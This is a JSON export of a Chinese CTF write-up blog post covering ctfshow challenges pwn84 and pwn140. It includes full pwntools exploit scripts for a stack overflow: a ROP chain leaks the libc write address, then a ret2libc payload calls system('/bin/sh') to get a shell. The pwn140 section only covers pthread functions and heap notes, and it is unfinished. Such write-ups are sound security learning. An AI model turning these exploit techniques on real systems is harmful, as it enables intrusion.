{"id":227,"date":"2025-07-26T14:21:15","date_gmt":"2025-07-26T06:21:15","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=227"},"modified":"2025-07-26T14:21:16","modified_gmt":"2025-07-26T06:21:16","slug":"ctfshow%ef%bc%9apwn84%e3%80%81pwn140","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/26\/ctfshow%ef%bc%9apwn84%e3%80%81pwn140\/","title":{"rendered":"ctfshow\uff1apwn84\u3001pwn140"},"content":{"rendered":"\n


1\u3001pwn84\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4d\u5f00\u4e86NX\uff0c\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n

show\u51fd\u6570<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6709\u6808\u6ea2\u51fa\uff0c\u61d2\u5f97\u60f3\u4e86\uff0cret2libc<\/p>\n\n\n\n

\u5148\u6cc4\u9732libc\u51fa\u6765\u770b\u770b\uff0c\u5229\u7528write\u51fd\u6570\u5c31\u884c<\/p>\n\n\n\n

\u5148\u627e\u5bc4\u5b58\u5668<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28278)\nelf=ELF(\".\/pwn3\")\nmain=elf.sym['main']\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\nrdi=0x400773\nrsir15=0x400771\nret=0x4004c6\n\npayload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)\np.recvuntil(\"Welcome to CTFshowPWN!\\n\")\np.sendline(payload)\nwrite=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(write))\np.interactive()<\/code><\/pre>\n\n\n\n

\u54ce\u563f\uff0c\u4e0b\u8f7d\u4e00\u4e2a\u6253\u672c\u5730<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6700\u540e\u7528\u76842.27<\/p>\n\n\n\n
2\u3001cat flag<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28278)\nelf=ELF(\".\/pwn3\")\nlibc=ELF(\".\/libc6_2.27-3ubuntu1.6_amd64.so\")\nmain=elf.sym['main']\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\nrdi=0x400773\nrsir15=0x400771\nret=0x4004c6\n\npayload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)\np.recvuntil(\"Welcome to CTFshowPWN!\\n\")\np.sendline(payload)\nwrite=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(write))\n\nbase=write-libc.sym['write']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b'\/bin\/sh'))\npayload=b'a'*(0x70+8)+p64(rdi)+p64(binsh)+p64(sys)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3\u3001pwn140\u5206\u6790<\/h2>\n\n\n\n
\u591a\u7ebf\u7a0b\u652f\u6301<\/p>\n\n\n\n
\u8fd8\u662f\u6162\u6162\u628a\u5806\u5b66\u7740<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e86\u89e3\u4e00\u4e9b\u51fd\u6570\uff1a
pthread_create<\/p>\n\n\n\n
int pthread_create(pthread_t *restrict tidp, const pthread_attr_t *restrict attr, void *(*start_rtn)(void *), void *restrict arg);<\/code><\/pre>\n\n\n\n
tidp\uff1a\u6307\u5411pthread_t\u7c7b\u578b\u7684\u6307\u9488\uff0c\u7528\u4e8e\u5b58\u50a8\u65b0\u7ebf\u7a0b\u7684\u7ebf\u7a0bID\u3002<\/p>\n\n\n\n
attr\uff1a\u6307\u5411pthread_attr_t\u7ed3\u6784\u7684\u6307\u9488\uff0c\u7528\u4e8e\u8bbe\u7f6e\u7ebf\u7a0b\u5c5e\u6027\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e2a\u53c2\u6570\u88ab\u8bbe\u7f6e\u4e3aNULL\uff0c\u8868\u793a\u4f7f\u7528\u9ed8\u8ba4\u7ebf\u7a0b\u5c5e\u6027\u3002<\/p>\n\n\n\n
start_rtn\uff1a\u65b0\u7ebf\u7a0b\u7684\u542f\u52a8\u51fd\u6570\uff0c\u7ebf\u7a0b\u521b\u5efa\u540e\u5c06\u4ece\u8fd9\u4e2a\u51fd\u6570\u5f00\u59cb\u6267\u884c\u3002<\/p>\n\n\n\n
arg\uff1a\u4f20\u9012\u7ed9start_rtn\u51fd\u6570\u7684\u53c2\u6570\u3002\u5982\u679cstart_rtn\u4e0d\u9700\u8981\u53c2\u6570\uff0c\u5219\u53ef\u4ee5\u8bbe\u7f6e\u4e3aNULL\u3002\u5982\u679c\u9700\u8981\u4f20\u9012\u591a\u4e2a\u53c2\u6570\uff0c\u5219\u5e94\u8be5\u901a\u8fc7\u4e00\u4e2a\u7ed3\u6784\u4f53\u6765\u4f20\u9012\u3002<\/p>\n\n\n\n
\u8fd9\u6837\u53c2\u6570\u662f\u6bd4\u8f83\u660e\u786e\u7684<\/p>\n\n\n\n
\u5c31\u662f\u65b0\u7ebf\u7a0b\u7684ID\uff0c\u5c5e\u6027\uff0c\u542f\u52a8\u51fd\u6570\uff0c\u51fd\u6570\u7684\u53c2\u6570<\/p>\n\n\n\n
\u6210\u529f\u65f6\u8fd4\u56de0\u3002<\/p>\n\n\n\n
\u5931\u8d25\u65f6\u8fd4\u56de\u9519\u8bef\u7801\uff0c\u5e76\u4e14tidp\u6307\u5411\u7684\u503c\u4e0d\u4f1a\u88ab\u8bbe\u7f6e\u3002\u7a0b\u5e8f\u8fd4\u56de\u4e86-1<\/p>\n\n\n\n
pthread_join<\/p>\n\n\n\n
int pthread_join(pthread_t thread, void **retval);<\/code><\/pre>\n\n\n\n
thread \u53c2\u6570\u7528\u4e8e\u6307\u5b9a\u8981\u7b49\u5f85\u7684\u7ebf\u7a0b\u7684\u6807\u8bc6\u7b26\u3002<\/p>\n\n\n\n
retval \u53c2\u6570\u7528\u4e8e\u5b58\u50a8\u88ab\u7b49\u5f85\u7ebf\u7a0b\u7684\u8fd4\u56de\u503c\u3002\u5982\u679c\u4e0d\u9700\u8981\u83b7\u53d6\u8fd4\u56de\u503c\uff0c\u53ef\u4ee5\u5c06\u5176\u7f6e\u4e3a NULL\u3002<\/p>\n\n\n\n
\u5c31\u662f\u7b49\u5f85\u4e00\u4e2a\u7ebf\u7a0b\u7684\u7ed3\u675f\u5e76\u83b7\u53d6\u8fd4\u56de\u503c<\/p>\n\n\n\n
4\u3001flag<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6267\u884c\u5b8cmalloc\u51fd\u6570\u540e\u5c31\u53ef\u4ee5\u770b\u5230\u5806\u64cd\u4f5c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6267\u884c\u5b8cfree<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u597d\u5427\uff0c\u4eca\u5929\u5c31\u5230\u8fd9\u513f……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001pwn84\u5206\u6790 64\u4f4d\u5f00\u4e86NX\uff0c\u6709\u4e00\u4e2a\u8f93\u5165 show\u51fd\u6570 \u6709\u6808\u6ea2\u51fa\uff0c\u61d2\u5f97\u60f3\u4e86\uff0cret2libc \u5148\u6cc4\u9732li […]<\/p>\n","protected":false},"author":1,"featured_media":250,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-227","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=227"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/227\/revisions"}],"predecessor-version":[{"id":249,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/227\/revisions\/249"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/250"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=227"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}